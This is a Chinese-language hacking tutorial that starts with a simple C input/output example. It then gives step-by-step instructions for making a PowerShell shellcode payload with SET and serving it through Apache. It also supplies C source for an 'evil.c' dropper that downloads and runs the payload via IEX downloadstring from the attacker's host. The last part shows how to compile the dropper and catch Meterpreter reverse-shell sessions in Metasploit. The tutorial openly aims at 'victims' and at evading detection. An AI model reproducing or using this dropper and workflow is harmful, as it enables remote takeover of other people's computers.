C 编程
虽然汇编直接接触核心,但有时高级语言可以更快地完成工作。在这里,我们将研究一种最有用的编程语言,并将其用于攻击我们的受害者,以试图进行利用。
C 编程语言是由丹尼斯·里奇 和布莱恩·科尼汉 分别创建的。这种语言不是面向对象的,就像汇编语言一样,不要指望掌握这种语言;即使你精通 C++,也不意味着你可以用它来编写。
说到编写语言,让我们快速看一下如何阅读它。
为了快速说明这种语言的简单特性,我们将从一个示例应用程序开始。它会提示你“输入一个整数”,然后将你输入的数字打印回给你。
#include <stdio.h>
// This is a single-line comment. This is ignored when the code is compiled/run.
int main()
{
int a;
printf("Enter an integer\n"); // Prints text to the screen
scanf("%d", &a); // Reads user input, and sends the data to the integer 'a'
printf("Integer that you have entered is %d\n", a); // %d (decimal) tells it to add the integer 'a' where it had been typed
return 0;
}
输出
Enter an integer 99 Integer that you have entered is 99 Process returned 0 (0x0) execution time : 1.949 s Press any key to continue
可以在这里找到更多这种语言的示例。
现在,我将提供一个教程,介绍如何在 Kali Linux 上使用 SET 创建 Powershell 攻击向量。即使你只有setoolkit
和gcc
,你也可以按照这个教程操作。
这将让你了解使用 C 语言及其相应的编译器gcc
可以多么容易地创建一个好的 FUD。
要创建有效载荷,我们首先需要在具有 root 权限的终端中键入以下内容
setoolkit
给它一些时间加载后,它将提供六个选项。按“1”并回车选择“社会工程攻击”。然后会显示更多选项,只需键入“9”然后按回车选择“Powershell 攻击向量”选项。在这里,它会询问我们关于 Powershell 攻击向量的类型选项。我们将会选择“1”也就是“字母数字 Shellcode 注入器”。
- 在这里,它会询问攻击者的 LHOST,只需将你的 IP 地址复制/粘贴到框中即可。(提示:
ifconfig
将显示所有你的网络接口,包括 IP) - 接下来,它会询问你的 LPORT。这次,你可以按回车键将其保留为默认值(位于方括号内),或者你可以键入一个随机值,但要确保记住它。
- 最后,它会询问我们是否希望它为我们启动一个监听器。跳过这一步,我们稍后可以轻松地做到这一点。
- 然后它将在/root/.set/reports/powershell创建一个文件,你应该将它移动到你的桌面。
现在,将我们的新有效载荷上传到 Apache 服务是合适的,这样我们的 C 程序就可以在受害者的 Powershell 上下载并运行。
- 首先,我们将x86_powershell_injection.txt移动到/var/www/html/payload.txt,这样 Apache 就可以找到它。
- 接下来,我们使用以下命令启动 Apache:
service apache2 start
很好,现在我们准备制作病毒了。
首先,使用 Vim 或 Nano 在你的桌面上打开一个名为“evil.c”的文件。用以下 C 源代码填充它
#include <stdio.h>
int main()
{
system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('YOURLHOSTHERE/payload.txt')\"");
return 0;
}
请记住,将“YOURLHOSTHERE”更改为在 SET 中创建有效载荷时使用的 LHOST。
现在,我们将使用 gcc 编译evil.c文件
gcc ~/Desktop/evil.c -o ~/Desktop/evil.exe
现在我们已经将我们的程序编译成可执行文件,我们可以启动我们的监听器。
现在我们可以启动 Metasploit 框架,输入
msfconsole
加载完成后,输入
use multi/handler
现在我们可以设置这些选项,如下所示
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 443
显然,像之前一样,将 LHOST 和 LPORT 更改为你在 SET 中创建有效载荷时使用的值。
现在你可以键入以下内容来启动监听器
exploit
现在,当有人运行你的 evil.exe 文件时,你就可以获得一个会话。
如果会话没有自动打开,你可以键入以下内容来列出所有会话及其编号
sessions -l
最后,打开一个会话
sessions -i 1
请记住,除非受害者在你的 LAN 上,否则此攻击不会奏效。你可以通过尝试以下选项之一在互联网上的受害者上测试它
- Hamachi(或其他)
- VPN
- 端口转发